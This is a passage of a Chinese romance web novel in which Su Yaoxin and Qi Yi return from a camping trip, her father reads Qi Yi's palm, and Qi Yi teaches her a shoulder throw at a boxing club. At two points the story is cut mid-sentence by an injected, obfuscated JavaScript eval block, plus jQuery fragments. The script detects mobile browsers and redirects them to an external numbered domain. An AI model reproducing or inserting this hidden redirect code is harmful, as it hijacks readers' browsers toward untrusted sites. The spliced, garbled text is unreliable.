祁弈睫毛颤了下。
随后苏杳心看见他意味深长地笑了笑,“不疼。”
这么深的疤,怎么会不疼。
苏杳心微微坐直身子,祁弈应是不想被人看见这疤,所以在入夏天气,这几日在山里,也没在旁人面前脱过外套。
今晚也是她冒然跑过来要陪他,才意外看见。
虽然想知道这伤疤是如何伤的,但她想到祁弈或许不想提,便忍住没问。
她目光挪开,神色轻松地笑了笑,转移话题,“我爸膝盖上也有条疤,以前下雨天会痒,后来慢慢好了,但一到雨天膝盖又开始犯风湿的毛病,还总在我耳边念叨,说人老了呀就都不喜欢下雨天,我说我不会。”
“我说等我老了,不仅喜欢下雨天,还会喜欢下雪天,”苏杳心微微一笑:“你知道为什么吗?”
祁弈目光落在她漾笑的脸上,唇角稍弯,手拄下颌地问:“为什么?”
苏杳心缓慢地讲:“因为我在老之前呢,一定会去冰岛看一场最美的雪。”
“看过最美的雪,以后不管何时何地,在下雪时都会想起那一日的雪,怎么会不喜欢呢?”
她说的有她自己的一套道理。
重要的是,祁弈也被她的聊天从伤疤上,带了出来。
苏杳心似随意地问:“那你呢,为什么很喜欢下雨天?”
祁弈勾勾唇:“因为见过最美的下雨天。”
话音落,他又道:“不过,眼前的雨,对我而言也很美。”
外面雨丝像细细绵绵的线,淅沥地掉落,染上一点暖黄色的光。
苏杳心眉眼弯弯:“你说的对,眼前的雨也很美。”
话题变轻松,苏杳心想到什么便和他聊什么,祁弈这个人似乎很喜欢倾听。
她讲一些忽然想起的日常琐事,或是聊自己的爱好,他也听得津津有味,很感兴趣,也和她一起讨论,从冰岛的雪到芬兰极光,再从苏杳心上次下载的热血动画电影,聊到神话故事。
见过的风景,要去见的风景,随心所欲地聊。
她还是第一次和一个人性情这么契合,就像是那种一见如故的亲密朋友,以至于苏杳心都聊得忘了时间。
祁弈应是也忘了。
直到手机收到一条天气预报提醒,她才发现雨停了,已经是夜里十一点二十分。
竟然聊到这么晚。
苏杳心握着手机,准备回自己帐篷,“下次再聊,我该回去睡了。”
祁弈点头,神色奕奕的,“是有点晚了,早点睡也好。”
起身前,苏杳心顿了下,又坐好看向他。
她唇角一弯:“对了,还要谢谢你的芋头。”
祁弈黑眸明亮:“你喜欢吃就好。”
果然是他。
苏杳心轻笑问:“是你昨晚下山时,一起带回来的?”
“嗯。”
一听,她笑意微收,叹气嘀咕:“夜里骑车走山路已经危险了,你还要背一包芋头回来……”
祁弈笑而不语。
下过雨的夜色弥漫着潮湿,隔壁就是她的帐篷,和他道过晚安,她回自己的帐篷里。
刚准备要睡,外面传来温和的嗓音,“躺下了么?”
苏杳心又起身,跪坐在门边,把门帘拉开。
祁弈半蹲在她帐篷外面,手里是一条软绵绵的毛毯,“夜里凉,你铺上这个再睡,毯子是新的,可以放心用。”
苏杳心眨了眨眼,伸手接过标签还没摘的白色毛毯,“那你呢,还有毛毯吗?”
她觉得这毛毯应该是祁弈自己带着备用的,却听他说:“我有睡垫就够,不习惯铺毛毯。”
“今晚聊的很开心,晚安。”祁弈说。
“晚安。”
帐篷里,苏杳心把毛毯铺在睡垫上,躺下来柔软又温暖,她侧躺着,细细的绒毛贴着脸,在睡前不禁想。
如果祁弈之前提起那个在乎的人,是喜欢的女孩子,会是一个什么样的人呢。
他对待朋友都这么周到,人也很好,不会有女孩子不喜欢他的。
可是他说还没有女朋友……
胡思乱想了一通,睡意也慢慢袭来,被子拉到下巴,她阖上眼皮。
这一晚,或许是这份体贴的照顾,苏杳心少见地梦见了小时候,遇见过的一个朋友。
那年是初二的暑假,她的芭蕾舞课快结束那天,偶然认识了一个男孩子。
男孩子总穿一件白色校服,受了伤,脸上和手臂都包扎着纱布,整个脸几乎都裹住了,明明是狼狈的样子,但气质却凌人。
年纪不大,在轮滑馆打工,在一众比他大的男孩中,身板似压不折的青松,让人见一眼便印象深刻。
他看起来很不好靠近,但苏杳心却和他成为了朋友。
遗憾的是,他们只相处了三天,苏杳心的舞蹈课结束,就要从姑姑家被接走了。
她记得,道别的那天下了雨。
她撑着一把伞,在轮滑馆门口问他的名字,住在哪里,以后可以去找他玩。
认识几天,苏杳心都忘记问他的名字,也忘记告诉他自己的名字。
小男孩没说话,兀自走进她的伞下,从口袋里拿出一条干净的白色手帕,蹲下身,帮她擦掉白鞋沾上的污渍。
细细地擦好,他站起身,问她:“你叫什么,在哪上学?”
苏杳心告诉了他,小男孩点头,一张脸只露出一双漆黑清淡的眼眸,望着她:“我会去找你的,一定会。”
他话特别少,基本上只一两个字,这两句算是主动说的多的了。
苏杳心笑容烂漫:“好,那我等你。”
一个久远的画面,在梦中短暂出现了一次,苏杳心醒来时,望着帐篷白色的布顶,发了会儿呆。
后来她春节去姑姑家,又去了一趟那个轮滑馆,那家店关了,小男孩也不在那里了。
苏杳心想,这么多年了,他一定是没找到她,那时候,她应该留个电话号给他的……
她坐起身。醒了会儿神。
在出去前,苏杳心把头发捋好扎上,毯子也叠好。
旁边的灰色帐篷门帘开着,男生不在。
苏杳心便把毯子先放回自己帐篷里,蹲在门边,给秦晓棠发消息,等一起身,脸边忽然有一道温热,碰了下她脸颊。
苏杳心缩了下脖子,忽地回头。
祁弈手里拿了玻璃瓶牛奶,黑眸清冷,但眼尾微扬的样子,是少年散漫不羁的迷人。
“睡的好吗。”
苏杳心手心被他塞进那瓶牛奶,温热透过掌心传来,“睡的很好。”
“对了,你的毛毯,”苏杳心琢磨着:“我睡过一晚,等我回去洗过后再还你吧。”
祁弈看了眼叠的很整齐的毯子,像小军被一样,四角熨贴,他走过去,弯腰拿起来,“不用麻烦,我直接带走就行。”
这时,身后传来跑步声,“苏杳心……”
段北惊讶地过来,打量她:“你这是,昨晚睡的帐篷?”
苏杳心嗯了声,“对。”握着牛奶瓶准备去找秦晓棠。
段北皱眉看着苏杳心从身边走过,又看看那边悠哉地拿毛毯,走回他自己帐篷的祁弈。
段北跟上苏杳心,不可思议道:“他怎么从你帐篷里拿毯子?”
“那是他的毯子,借我睡的。”
段北闻言一惊:“你怎么随便睡男生的毯子,那种东西多私人啊!”
苏杳心:“毯子是新的。”
听见这话,段北倒是没再在她耳边嚷嚷,但依然脸色不太好地跟着她走进了民宿。
早上大家吃过早餐,九点多时,司机师傅准时上山来接她们。
这趟旅途很愉快,回去的路上没堵车,午时就到了市内。
车子停在小区,行李拿下车,祁弈和她们道别。
秦晓棠笑眯眯地:“以后有机会再一起出来玩啊。”
祁弈点头,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653084|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光落向苏杳心,斑驳的光点映在他眼角眉梢。
他挥挥手,语气轻松:“我走了,再见。”
苏杳心微笑摆摆手。
等他上了车,车子离开,段北和段南去拎行李,秦晓棠挽着苏杳心胳膊,目光还遥遥望向开走的车,试图要瞧出什么来。
随后秦晓棠啧了一声,“他走的挺干脆啊……”
苏杳心都转身了,看她一眼,“你嘀咕什么呢,什么干脆?”
秦晓棠收回眼,似不解:“这两天相处我能感觉到,祁弈对你挺好的,可是,他走的时候也没对你多说什么,感觉就像个旅游搭子。”
有吗?
苏杳心倒是没太感觉。
不过她觉得也无可厚非,“对他而言,我们这一趟不就是旅游搭子?”
说完,她又轻声补充:“不过,我还是真的把他当朋友了的。”
秦晓棠带笑打量她,在她耳边小声说:“呦,去的时候还是带着目的,回来就成好朋友啦?”
前面段北拎着两个大行李箱,回头看一眼,“对了!秦晓棠,你不是要回家吗?”
秦晓棠中午要去参加大伯的寿宴,约好让秦爸来接她。
段北把一手的行李箱放下,无奈叹气,说着又往小区门口拎:“真是的,白拎了这么远了,浪费我力气!”
秦晓棠也摇头叹气:“你说说你,就多拎这么点路就抱怨,就不能当给你练臂肌了?”
瞥了一眼段北那胳膊,秦晓棠扬起下巴:“别的不说,祁弈一看就是常运动的,手臂一定有漂亮的臂肌!”
提到祁弈,段北忽地就更气了,这时候小区门外秦爸爸的车停在那边,嘀了一声,段北把话又咽了回去,去帮秦晓棠送行李箱。
等把秦晓棠送走,段北把苏杳心的行李也帮她送到家。
苏怀峰和蔡卉此时在家,正准备午饭,屋子里飘来香喷喷的炖鸡汤的鲜香味。
“杳杳回来啦。”
蔡卉从厨房出来,看见段北,去冰箱里拿了一盒新鲜的水蜜桃,是旅游带回来的特产,正好让他拿回去。
苏怀峰在客厅里喝茶,笑呵呵地说:“小北,你回去跟你爸说一声,下午我去你家,和他一起看球赛啊。”
“知道了,叔叔。”
临走前,段北拽拽苏杳心衣袖,“出来一下,我有话跟你说。”
出来后,见段北一副认真急迫的样子:“露营回来了,这下能告诉我,你为什么说祁弈那小子有用了吧?”
苏杳心还以为是什么事。
她把门关好,确认老爸老妈不会听见,才将自己要“追”祁弈的目的,告诉他。
“这个办法,还是你想出来的呢,还得谢谢你。”她又笑了笑:“你看见我爸妈刚才那副放松的样子了吗?多好。”
进屋时,老妈还在厨房里哼哼歌呢,老爸也有心情看球赛了。
苏杳心很欣慰。
相比她的愉悦,段北一脸欲言又止的表情,最后,又皱眉确认着问:“你确定只是在叔叔阿姨那边装装样子,不是真的想“追”姓祁的那小子?”
苏杳心不太喜欢段北对祁弈的称呼,但想到段北一直对祁弈有偏见,也就没说什么,只嗯了声。
“所以你以后再见到祁弈,不要总像见到敌人似的。”
段北哼了一声,“还会再见吗?”
“也就一起出去玩一次,和我们这种朋友关系又不一样,估计没什么事,也不会再见了吧。”
苏杳心愣了一下。
等段北抱着一盒桃子走后,她开门进屋。
午饭很丰富,炖了一上午的鸡汤颜色金澄澄的,几道家常菜也都是苏杳心喜欢吃的,还有一道蔡卉拿手的琥珀核桃仁。
先给她盛了一碗鸡汤。
吃饭时,老妈不出苏杳心预料地,问起了她正在“追”的男孩子。
“相处的怎么样?”
“挺好的。”
“那你有没有,矜持又恰当地表达过你对他的好感?”
“有的。”
蔡卉眼睛一亮:“那男孩子怎么回应的?”
苏杳心咬着鸡腿,吐字含糊地说:“嗯……就,就是正常的回应,好像,也挺愿意和我相处的。”
对面的苏怀峰听她讲到这里,放下筷子,“嗯,那看来你们是要成了。”
苏杳心:“啊?”
“还,还没爸爸……”
苏怀峰又拿起筷子,一脸认真地指了指,“你先吃饭,然后你让那男孩把他的生辰八字发过来。”
吧嗒一声,鸡腿掉到了碗里。
苏怀峰:“还有,手掌的照片也发来一张,我给他看看手相。”
她惊讶:“您还会看手相?”
“在庙里,跟一位道长学了一些,道长说我有慧根。”
“……”
苏杳心半信半疑的。
蔡卉噗呲笑了出来,“哎呀,你就让你爸看看,不然他不放心。”
“……”
这,要她怎么开口啊。
苏杳心一时不知怎么推脱,只好磨磨蹭蹭地吃饭,实在吃不下了,她撂下筷子。
蔡卉把手机塞她手心:“你回屋里去问,我们在外面等你啊。”
她托着难为情的步伐,走回自己房间。
坐在床边,点开男生的微信。
头像是一个雨天街景。
苏杳心琢磨着怎么合理地解释想要他的生辰八字,和掌纹照片,盯着和男生的聊天框。
她脑海里却忽然冒出秦晓棠的话。
这几日相处很好,但他可能只把她当旅游搭子,挥手道别,没多说一言离开的身影也浮现在眼前。
要找他吗?
还是,想个办法先把爸妈搪塞过去呢。
许是少年离开的太轻松随意,似没有一丝一毫的留念,让她觉得,祁弈不会太快回消息。
这样犹豫着,她指尖敲下两个字,发了过去。
苏杳心:[在吗?]
几乎下一秒。
祁弈:[我在]
12. 入梦
苏杳心未预料地一怔。
一门之隔,外面是在等她消息的爸妈。
祁弈的秒回,让她有点措手不及。
想了想,她先聊别的事:[这两天在小悠山,你付的钱比较多,我转给你。]
她回来路上抽空算过,没等点开转账,祁弈:[和我分的这么清,我以为我们关系已经还不错了。]
苏杳心微愣:[不是这个意思,我是担心让你花费太多,过意不去。]
祁弈:[不用和我这么客气。]
苏杳心盯着这句。
连自己也没意识到,唇边缓缓抿起的弧度。
[那好吧,以后你有什么需要我帮忙的,随时找我。]
她眼眸灵动一眨,随即又发。
[唉~不过,没还帮到你呢,我现在却有一件事需要你帮忙。]
祁弈:[什么事?]
她手指飞快打字。
[是我爸,前阵子得高人指点,说他在国学算命上有慧根,所以他想搞个副业,帮人算命,看看手相,不过他还在学习阶段。]
[大师说,他现在需要多给一些面相好的有缘人算一算,对生慧根有益,所以我想到了你。]
苏杳心:[你如果不介意,方便发给我你的生辰八字,还有掌纹吗?]
打出这些话,一通发过去,因为心虚,她后颈都微微发烫。
唉,她忽然体会到那种,说出一个谎,就要用另一个谎来填补的不易。
祁弈:[叔叔的性格,和你不太一样呢。]
苏杳心:[?]
祁弈:[昨晚在小悠山,我记得聊那部电影时,你很喜欢主角不信命不认命的态度。]
苏杳心:[我是不信。]
她想了想问:[那你信吗?]
他没有直接答应,如果说不信算命这些事,那就是在婉拒了。
祁弈:[我觉得,三分天注定,七分靠自己。]
[甚至,可以完全靠自己。]
苏杳心盯着后面这句,很赞同,但是……他这是婉拒的意思了吧。
她一声叹气还没落下,又一条消息跳出来。
祁弈:[但叔叔需要我,这个忙我当然要帮。]
随后他发来了生日年份日子还有时辰、以及一张清晰的掌纹照片,因为少年的手漂亮,纹路也多了几分赏心悦目。
苏杳心有了一瞬峰回路转的惊喜,她笑眯眯地吹捧:[你的掌纹一看就是有福气的命!]
祁弈发了一条语音,嗓音有股牵动人心的好听:“你也会看手相?”
苏杳心唇角弯起:“不会,但我看人的感觉还是挺准的。”
拿到了想要的,她握着手机出了房间。
十分钟后,客厅里。
“嗯,别说,这孩子的命还真不错。”
苏怀峰抿了口茶,手边是本道家的书籍,眉宇间颇有几分道家风骨地说:“这孩子事业极好,财运极顺,姻缘上因为极为执着,可收获美满。”
苏杳心全神贯注地听着。
毕竟老爸像模像样地算了好半天,还是要相信一下父亲大人的。
她问:“还有吗?别的呢?”
“别急,且等我再算一算。”苏怀峰又抿一口茶。
蔡卉坐在沙发椅上剥花生吃,笑着说:“对,别急,免得一催你爸,他再算不出来了,哈哈。”
苏杳心抿唇笑:“您也别笑,不然爸爸一分心,也容易算不出来。”
蔡卉:“哦对对,我不笑了。”
她们母女俩一向爱打趣苏怀峰,苏怀峰都习惯了,专心在书上,过了会儿,他皱眉嘶了一声。
“这孩子别的都很好,就是亲情上……”
苏杳心嘴里花生都没咽,忽地问:“亲情怎么了?”
“亲情线浅薄。”
苏怀峰话音顿了顿,“但是,又可失而复得。”
听见他讲的这么玄乎,蔡卉拍拍手上的花生皮,“哎呀,那就是和父母关系不好,但后来又修复了呗!总之呀,算到这里,我瞧着这男孩各方面都特别好。”
“咱们杳杳放心追!”
苏杳心点点头。
苏怀峰又看了眼手相,把书和手机都放下,轻咳了一声:“但我还有一个要求。”
苏杳心:“什么?”
苏怀峰端着几分姿态,“这男孩自身命不错,但是,他得让我喜欢才行!”
按着老爸这挑剔起来的趋势,她估计要招架不住。
要是再要求见面,那可就全露馅了。
她忙打住,笑着伸出一只小白手:“爸爸,您帮我也看看吧。”
苏怀峰睨着自己宝贝女儿,笑道:“我宝贝女儿都不用算,当然是一辈子顺风顺水,平安快乐,极极好的命。”
过了十分钟,她回到房间里,老爸给她算的除了亲情以外,都是和祁弈差不多的顺遂。
手机震动。
祁弈:[算过了吗?]
苏杳心回了个嗯,男生随之发来语音通话。
她点了同意。
低沉的嗓音透过听筒传来,带着几分散漫:“说说?”
苏杳心心想,都忍不住打语音电话过来问,虽然不信,但看来还是很好奇呢。
她抿唇笑了下,扯过一个抱枕,坐在床边。
“我爸算过了,你的命特别好哦。”
他嗯了一声,是听她将往下讲的应和。
“事业极好,财运极顺,姻缘美满,是前程似锦、大富大贵之命。”
祁弈听了,似在确认地问:“姻缘美满吗?”
苏杳心:“对啊。”
祁弈:“是指我本人很满足的那种美满吗?”
苏杳心思量他这话:“当然啦。”
电话里,少年低低笑了一声:“那就好。”
苏杳心也忍不住笑了几声,也不知是谁之前还言之凿凿地说不信呢。
祁弈听出她在笑什么,直接问:“笑我呢?”
苏杳心手指在抱枕划拉了一下,手机贴在耳边:“我是觉得呢,你这种心态不错,是好的便信,不好的话那就靠自己。”
祁弈:“当你是在夸我了?”
苏杳心歪头,“当然是夸你。”
一通电话的短短几句,让苏杳心打消了之前他把她当旅游搭子的想法,仿佛又回到昨晚那个无话不谈的好朋友。
好像只要和他接触,关系便可以一下子拉近。
而紧接着,祁弈也说有一个忙需要她帮。
苏杳心想也没想:“好啊。”
电话里,祁弈安静一瞬,笑道:“我还没说是什么忙呢。”
苏杳心信赖的语气:“你不会让我帮为难的忙。”
电话里少年笑而不语。
随后听着电话里说过后,苏杳心跟他约了后天上午的时间。
“只需要一个人去捧场吗,我可以叫上秦晓棠。”她说。
“别的教练都有约好的学员,可能没时间,”他说:“你一个人来就好。”
房间外,蔡卉叫她一起去超市,苏杳心跟他说:“好,那到时见。”
祁弈:“好。”
约好后,她挂了电话。
蔡卉敲敲门,开门进屋,拎着一个服装袋。
“杳杳,这是妈妈在机场服装店买的一条裙子,你穿一定好看。”
见她刚挂电话,蔡卉笑问:“跟那男孩子打电话呢?”
“哦。”
“看来发展很顺利呢!”
苏杳心笑呵呵地,没多说什么,蔡卉把她拉起来,拿出裙子在她身上比量了一下,“我就知道,我宝贝皮肤白,穿什么颜色都漂亮。”
苏杳心:“随您了嘛。”
“嘴甜!”蔡卉满意地把裙子收到她衣柜里。
—
后天一早,清早的气温爬上几分夏天的炙热。
苏怀峰周一公司有早会,早早出门了,苏杳心也在九点钟准备出门。
听说她是去见那个男孩子,蔡卉见她从房间出来,“杳杳,怎么没穿条裙子,约会要打扮漂亮些呀。”
“想当年,我和你老爸约会有次穿了一条白色连衣裙,是妈妈那年代最流行的那种玛丽莲梦露裙,知道吧?”
蔡卉给吊兰浇水,回忆道:“那时候可把你爸给迷死了!他说还以为是见到仙女了呢,哈哈。”
苏杳心笑了笑,“您现在穿围裙,也是仙女呀。”
这话都惹得蔡卉掩嘴一笑,见她去换鞋,又笑问:“不去换条裙子?”
“不啦,”苏杳心换上一双小白鞋,背了一个小包,“我今天是过去帮忙,可能要尝试一些散打课程的,穿裙子不方便。”
蔡卉哦了声,“那上课的时候注意点啊,别受伤了。”
“知道啦。”
小区外面,街边香樟绿荫如盖,阳光破碎地洒下来,光影斑驳。
苏杳心穿一件水蓝色纱料半袖,和白色牛仔短裤,扎着马尾,在夏天的炎热中,清爽又亭亭玉立。
少女有股风淌过面颊的舒服感,街上路人经过,都要回头再看一眼。
苏杳心瞧着时间还早,去坐地铁。
到地方时,是九点半,地方很好找,在是市区中一个独立的三层楼。
她第一次来搏击馆,之前只是电视上看过一些拳击比赛。
银灰色的楼体硬朗简洁,工业风的门口一块黑色牌子,用银色钉子,斜斜地挂在门口,很有风格的俱乐部名牌。
在她打量时候,身边已经走进去好几波年轻人,似乎都是被奔着搏击俱乐部活动来的。
祁弈之前说,他朋友的搏击馆效益不太好,担心活动人少,让她来捧捧场的。
这看起来,好像很受欢迎的样子。
苏杳心没多想,她边走,边拿手机发消息。
[我到了。]
祁弈:[看到你了。]
苏杳心一抬头,就看见不远处站在门口的少年。
他今天有点不一样,苏杳心很快捕捉到这一点,之前他总穿外套,她也见过一次他穿T恤的样子,但今日,他下面还是一条黑色运动长裤,但上身,是一件无袖T恤。
少年高挑,宽肩窄腰,整条手臂露了出来,肌肉线条极为惹眼,不是那种搏击运动员夸张的肌肉,反而是一种流畅的漂亮,恰到好处。
又比这个年纪的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653085|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男生,多了几分力量感的荷尔蒙。
是那种看一眼,就容易惹女孩脸红心跳的性感。
门口附近有隐隐的说话声,和一些细微的笑。
祁弈手机揣兜里,朝她走来。
苏杳心捏着手机,心跳有点快,她轻声问:“你等我很久了么,我来晚了吗?”
祁弈长眸漆黑,嘴角上扬:“没有,刚刚好。”
“那我们进去?”他说。
苏杳心点点头。
走在他身边时,她目光不经意瞥见了他手臂上的疤,祁弈没有在她面前再遮这道疤,这让她心情有种微妙的欣慰。
跟着他进了俱乐部,前台参加活动做登记的学员很多,祁弈领着她先去别的地方参观一下。
俱乐部规模看起来很专业,场地很大的八角笼拳击台,大厅墙壁上挂的得奖无数的教练,有个工作人员在给两个女孩子介绍散打防身术的教练。
他们经过她们身边时,女孩子眼睛都直了,目光发亮地盯着少年。
似乎听见少年给她介绍着,女孩子转头问工作人员:“这个男生也是教练吗?我能找他学防身术吗?”
女生声音是放低问的,但因兴奋,又提高几分。
男工作人员瞥了眼祁弈,笑着回答:“抱歉,这位帅哥是我们老板一个关系要好的弟弟,不是职业教练,只在有活动时,偶尔过来帮帮忙。”
“哦,这样啊,唉。”
一楼主要是拳击项目,祁弈带着她参观了一圈。
“以前来过这种俱乐部吗?”
“没有。”苏杳心看见一个八角台上,一位穿背心的精壮教练躲开了一个学员朝脸部的攻击,她松了口气。
祁弈瞥见她脸上的小表情,嘴角微微一牵,“是不是有点害怕?”
苏杳心抬眸,对上祁弈的视线,她微微一笑:“怕倒是没有,竞技运动嘛,我能理解那种刺激。”
说完,她真心道:“刚刚那个教练躲闪的特别帅。”
闻言,祁弈往那边看了眼。
参观过一楼,负一层是格斗馆,有职业运动员训练那种,平时不对外开放,今天有人在比私赛,太血腥了,祁弈不想带苏杳心去。
“去二楼看看吧。”
苏杳心:“二楼是什么项目?”
“防身术,散打,”祁弈低眸,“适合你体验一下。”
二楼的空间也很大,有六个学散打的四角台,其余的空地,也有一些教练在教学一些防身术。
祁弈从茶水间拿了两瓶气泡水,另一手拎了一盒像甜品的盒子,带她去休息区的沙发那边。
苏杳心想着她是来捧场帮忙的,坐下吃东西,好像帮不到什么。
她问:“不需要我先体验一些吗?”
祁弈把甜点盒搁在茶几,手臂在她眼前晃过,苏杳心睫毛颤了颤,顿了下才开口:“我看前台来了好多学员,有人在学的话,对你们宣传活动有好处吧?”
“你想先体验也行,”祁弈似乎凡事都随着她的意味,“想在哪里学?”
最里面空了一个四角台,她指了指,“在台上吧,显得专业。”
“好,”祁弈问她:“想学什么?”
二楼墙上贴了散打和防身术的介绍海报,苏杳心扫了一眼,选了一个最感兴趣的,“想学这个,过肩摔防身术。”
祁弈点了点头,“好。”
见他单手拎着两瓶水,要往四角台那边走,苏杳心忙问:“那,我的教练呢?”
祁弈:“是我。”
“其他的教练都在忙,只有我闲着。”
苏杳心眨了眨眼,愣住了。
祁弈笑了下,一边的眉毛挑起:“信不过我?”
苏杳心这才反应过来,“当然不是,只是没想到,你会的东西这么多。”
祁弈嘴角一扯,“不难的,你学一学,也能很快学会。”
他都这么说了,苏杳心当然信他。
然而,等上到散打台,祁弈给她讲过动作要领,也一步步把动作分开讲解过后,到了实际近身尝试,苏杳心感受到了男女之间身形、以及力量的差距。
以前没有实感,几乎一米八七以上大高个,宽肩窄腰,站在她身后就像一堵墙。
苏杳心拽住他手臂,用力抱住,试图把他从肩膀摔过去,弯腰时力气不够,只把少年拽到了自己背上。
他似乎在迁就她的力气,也歪下身,但重量却没完全落在她身上。
头顶传来祁弈耐心的声音,“再用力点,我会配合你。”
“按照我教你的做。”
苏杳心嗯了声。
祁弈为了让她更好使力,把胳膊又伸给她一些。
苏杳心抱住胳膊时,后背一半都几乎贴着少年,清晰地感受到那片结实硬朗的胸膛。
她心跳砰砰跳动。
在异样的慌乱中,她咬咬唇,拼命使力。
再用力!
用力……
直到听见一阵似忍不住的低笑,苏杳心感受到少年胸膛的震动。
落下的声音和浅浅温热的气息,也让她耳边一阵酥麻。
“你这样,会把自己和我一起摔倒的。”
13.入梦
男生语气带了点调侃的笑意,苏杳心感觉一股热意漫上耳根。
四角台下有工作人员经过,是之前在楼下领女孩子参观的那位,似和祁弈很熟,笑着打趣。
“妹妹,你别怕摔他,阿弈这小子禁摔着呢。”
翟迪:“他当年可是在地下格斗室练的,和专业的打个几回合都没问题!”
苏杳心听见这话时,被她紧紧抱着的胳膊动了动,她忙松开,包裹着她的凛冽气息也缓缓散开。
祁弈去台边拿水,翟迪胳膊搭在围绳上,笑嘻嘻看她,“嗨,妹妹你好,我是翟迪。”
苏杳心微笑:“你好,我叫苏杳心。”
祁弈回来,一瓶拧开的气泡水递给她,低声说:“他是这负责招生的经理。”
听见这语气,翟迪意味深长地瞥了眼祁弈,又看她:““那不打扰你们啦,小苏同学,你继续摔他,加油!”
苏杳心挤出一抹笑。
喝完水,祁弈拿过她的瓶子,放在一边,“再试一次,这次一定可以。”
她没多大信心,再次按动作抱住他的胳膊。
当用力一摔时,她感到有一股力量顺着她的力气,从肩膀上一跃而过。
还未反应过来,少年已经被她摔在地上,后背朝地,能听见一声清晰的砸地声。
听起来很疼,但祁弈却似丝毫不觉,他坐起身,手搭在膝盖。
回头朝她一笑:“你看,我说可以的。”
“……”
哪是她成功了,分明是他自己配合的过肩摔。
苏杳心哭笑不得,在他身边蹲下来,“原来你说的体验,是这种体验,好像有点辛苦教练呢。”
祁弈散漫地抬手,落在她头顶的上一秒,他顿了顿,手又拿开。
他懒洋洋道:“今天想体验过肩摔,只能这样了。”
苏杳心轻轻眨了下眼,看了眼少年垂下的手。
下一秒,她抬起眼,“那我还是只体验一次吧。”
祁弈似笑非笑:“不考虑我的话,还想再试试吗?”
那一摔瞧着挺疼。
苏杳心摇摇头,“我想再试试别的。”
话音刚落,台下翟迪不知何时出现,打断了他们上课,“小苏同学,不好意思打扰一下啊。”
“阿弈,我办公室的电脑忽然蓝屏了,我有个重要邮件要发,你快帮我看一下!”翟迪说。
祁弈侧头,淡淡看了一眼,“蓝屏的故障,不是教过你了。”
“你教过我不代表我就学会了呀,我满脑子都在想怎么招生,哪有空余学修电脑,”翟迪说:“再说这不是有你呢嘛。”
祁弈收回眼,低声:“等我一下,一会儿就回来。”
她点头,“嗯。”
等祁弈拎上一瓶水,翻下四角台,翟迪走在他身侧,意味深长偷笑道:“嗳,刚才我可看见了啊,你被那小苏同学摔的那一下,是不是很爽呀?”
祁弈睨了他一眼,“你该去看看心理医生,怕不是个变态。”
“……”
四角台,苏杳心觉得口渴,她转身去喝水。
刚刚不想再练,还有一方面是,把祁弈拽到自己身上的姿势让她有点分心。
少年结实温热的胸膛,清冷好闻的气息,胳膊贴在她肩膀那一刻,她呼吸都是紧张的。
以前有次段南打球崴脚,她也算搭肩扶过男生,但也没这样紧张。
苏杳心仰头喝水,清甜的气泡流淌过喉咙。
看来她不适合摔这个防身术。
苏杳心心想。
同一时间,办公室里,祁弈不到三分钟把电脑修好,他起身,抬了抬下巴,“好了。”
翟迪识趣地往一旁让开,“辛苦了阿弈,快回去找你的小苏同学吧。”
祁弈刚走一步,翟迪又笑道:“嘿,我挺喜欢小苏同学的,比之前追你的女生都漂亮,性格瞧着也温温柔柔的,眼光不错。”
祁弈没搭腔,反倒说:“你的邮件不是很急?”
“哦对!”翟迪嬉皮笑脸的样子一收,忙去发邮件。
从办公室出来,练习场的方向传来学员上课的声音,祁弈走几步,手里的水拧开喝了一口。
喉结滚了滚。
几分钟前,女孩子在他怀里柔软的感觉似还未消散,小小的个子,身形纤瘦,却是他从没接触过的柔软。
他感觉心跳仿佛被某根火苗点燃,稍微一想,就容易乱了节奏。
他眉眼稍低,神色平静地收敛起那些情绪,拧上瓶盖,走了回去。
苏杳心在他回来前,已经想好了要体验什么,她学着另一个四角台上的学员,把鞋脱了,让祁弈给她拿一副小号的拳击套,练习出拳和踢腿。
她柔韧性很好,每一下都能踢的很高,并准确踢到在祁弈举在他胸前的拳击套。
尤其是有来参观想报名的学员在时,她踢的格外标准。
祁弈会夸一夸她。
然后她会表演得更卖力气,瞧着战斗力不大,但气势格外足。
以至于苏杳心总看见祁弈在笑,有时候笑得莫名其妙的。
不过她自知动作打的标准,便没多想。
体验了一节课的时间,苏杳心也踢累了。
消耗过体力,也快到午饭时间,祁弈带她出去吃饭。
翟迪在一楼前台,看见他们出来,从抽屉里拿出一块手表,“阿弈,这表都放了一个月了,你顺便拿去修了吧,要不就放你宿舍里,总搁我这丢了我可赔不起。”
祁弈伸手拿过表。
翟迪跟她道别:“小苏同学,以后常来玩呀。”
苏杳心弯唇:“嗯,再见。”
街对面就是一家手表品牌店,祁弈的手表只是需要换个屏,没用太长时间。
他手腕带了一块表,裤兜放手机,没地方揣,苏杳心见他似乎看了一眼自己的兔耳包,她主动问:“需要我帮你先收着吗?”
祁弈嘴角一弯,表放她手心里,“好。”
苏杳心低头,把表放进包里。
这附近有几家餐厅,他们经过一家芒果糯米饭的网红店,以前每次经过,都有很多女孩子在排队,今天也不例外。
他低头问:“想吃这家吗?”
苏杳心对甜甜的糯米饭很喜欢,随即点头:“好啊。”
两人进店去排队。
店里座位还有许多,装修的舒适干净,还有一个好像是网红的小姐姐在做直播。
